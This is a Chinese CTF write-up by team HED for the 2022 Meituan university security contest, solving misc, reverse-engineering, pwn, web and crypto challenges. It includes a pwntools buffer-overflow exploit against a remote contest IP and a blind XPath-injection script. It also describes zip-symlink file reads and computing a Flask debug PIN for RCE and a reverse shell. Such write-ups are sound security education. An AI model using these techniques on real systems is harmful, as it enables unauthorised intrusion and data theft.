2022 美团网络安全高校挑战赛 HED WriteUp
Rank: 19 1185pts 6Solved
HED 是南方科技大学COMPASS实验室的CTF战队
MISC
CyberSpace(一血)
题目出锅了,所以先品鉴了一下题目的源码。
队里的密码小姐姐是是信息竞赛选手,一眼就看出来这是单调队列入门题。
其中一种最优解是,在数列上升的时候进行上升数量的 add_l,在数列下降的时候进行下降数量的 add_r,这样相当于在 [add_l, add_r - 1] 区间中全部 +1。
令人感叹的是,这题修完重新上线的时候,小姐姐还在外面吃饭,回来以后竟然还是没有人做出来。为抢一血赶紧搓个脚本,交互都不写了,直接粘贴输入。
1 | target = [83, 111, 54, 42, 72, 96, 111, 78, 33, 124, 50, 87, 119, 73, 42, 78, 83, 42, 97, 54, 39, 43, 121, 65] |
1 | Congratulations this is your flag |
是 HeLang!
运行后得到 flag{different_xor}
。
RE
RE-small
程序直接跑不起来,放IDA里从入口跟进,nop掉没用的花跳转,(其实不修也可以,但是找不到数据地址)
然后就能看到加密逻辑,没有魔改的原版TEA,轮数35,key硬编码。
还可以看到比较的数组,导出之后写解密脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
uint32_t dword_100F7[9] ={
-569872061,
-990307374,
-621356324,
1839125836,
1978355431,
1562237956,
1360728025,
1373407483,
0,
};
void decrypt(uint32_t* v) {
uint32_t round = 35;
uint32_t delta = 1732584193;
uint32_t v0 = v[0], v1 = v[1], sum = delta * round, i;
uint32_t k0 = 1, k1 = 35, k2 = 69, k3 = 103;
for (i = 0; i < round; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}
int main(){
for (int i = 0; i < 8; i += 2) {
decrypt(&dword_100F7[i]);
}
printf("%s\n", dword_100F7);
return 0;
}
PWN
捉迷藏
溢出点藏到一大堆分支的唯一结果里,不过过一遍27个getline就能找到溢出的位置。
之后想让angr自动跑出来,好像效果并不理想,于是考虑手动推算
结果发现比较函数有经典的漏洞,只要让用户输入为截断符就会返回通过,所以直接送一堆0进去,不过最后一个因为XOR了首位,所以需要等于亦或的值。
拿到溢出点之后ret到后门就可以了1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
p=remote("39.106.27.2",36329)
p.sendafter(b"sbAmJLMLWm:", b"0 0 0 0 0 0 0 0 ")
p.sendafter(b"HuEqdjYtuWo:", b"\x00"*0x33)
p.sendafter(b"hbsoMdIRWpYRqvfClb:", b"\x00"*0x35)
p.sendafter(b"tfAxpqDQuTCyJw:", b"\x00"*0x22)
p.sendafter(b"UTxqmFvmLy:", b"0 0 0 9254 0 0 0 0 ")
p.sendafter(b"LLQPyLAOGJbnm:", b'\x3c'+b"\00"*0x29)
p.sendafter(b"gRGKqIlcuj:", b'a'*0xf+b'b'*8+p64(0x401331)*4)
p.interactive()
p.close()
WEB
babyjava(一血)
看大佬的博客:https://xz.aliyun.com/t/7791?page=1
前边的判断方法(root-user-username)博客里都有,而且是常见名爆破第一个字符就能猜到了xpath=user1' and substring(name(/*[1]), 3, 1)='o' and ''='
最后注到第二个flag上脚本,很快就能出来1
2
3
4
5
6
7
8
9
10
11import requests
for n in range(80):
for i in "abcdef0123456789-{}":
r = requests.post("http://eci-2zef43pmhep3nhrjor7d.cloudeci1.ichunqiu.com:8888/hello",
data={
"xpath": f"""user1' and substring((//user[position()=1]/username[position()=2]),{n},1) = '{i}' and ''='"""
})
if "information " not in r.text:
print(i, end="")
break
OnlineUnzip
zip很容易构造../的文件名(比如手动patch或者丢给java生成),也很容易被开发者防到
软链接是另一种zip攻击的方法,解决方法是用修补过的unzip,但看起来这道题没修
这道题比较简单的方法是直接把/
根目录ln出来,这样直接就能任意文件读,但读flag会提示无权限
然后注意到debug=True,但之前没做过Flask控制台的题,所以这里卡了两个多小时,痛失一血
开了debug之后不仅有报错,还可以通过/console进入控制台,当然高版本需要输入pin,但这个pin是可计算的
不过网上的脚本都不怎么能用,干脆把服务器的pin生成代码拉下来看看,然后再改,于是就有:
1 | import hashlib |
有了pin就可以RCE了,没测控制台能不能直接读,反弹的shell可以读flag
Crypto
strange_rsa1
RSA,已知高精度下的 p/q,求 p 和 q。
用 sage 运行,发现精度足够,直接能解出来。
1 | # exp.sage |
2022 美团网络安全高校挑战赛 HED WriteUp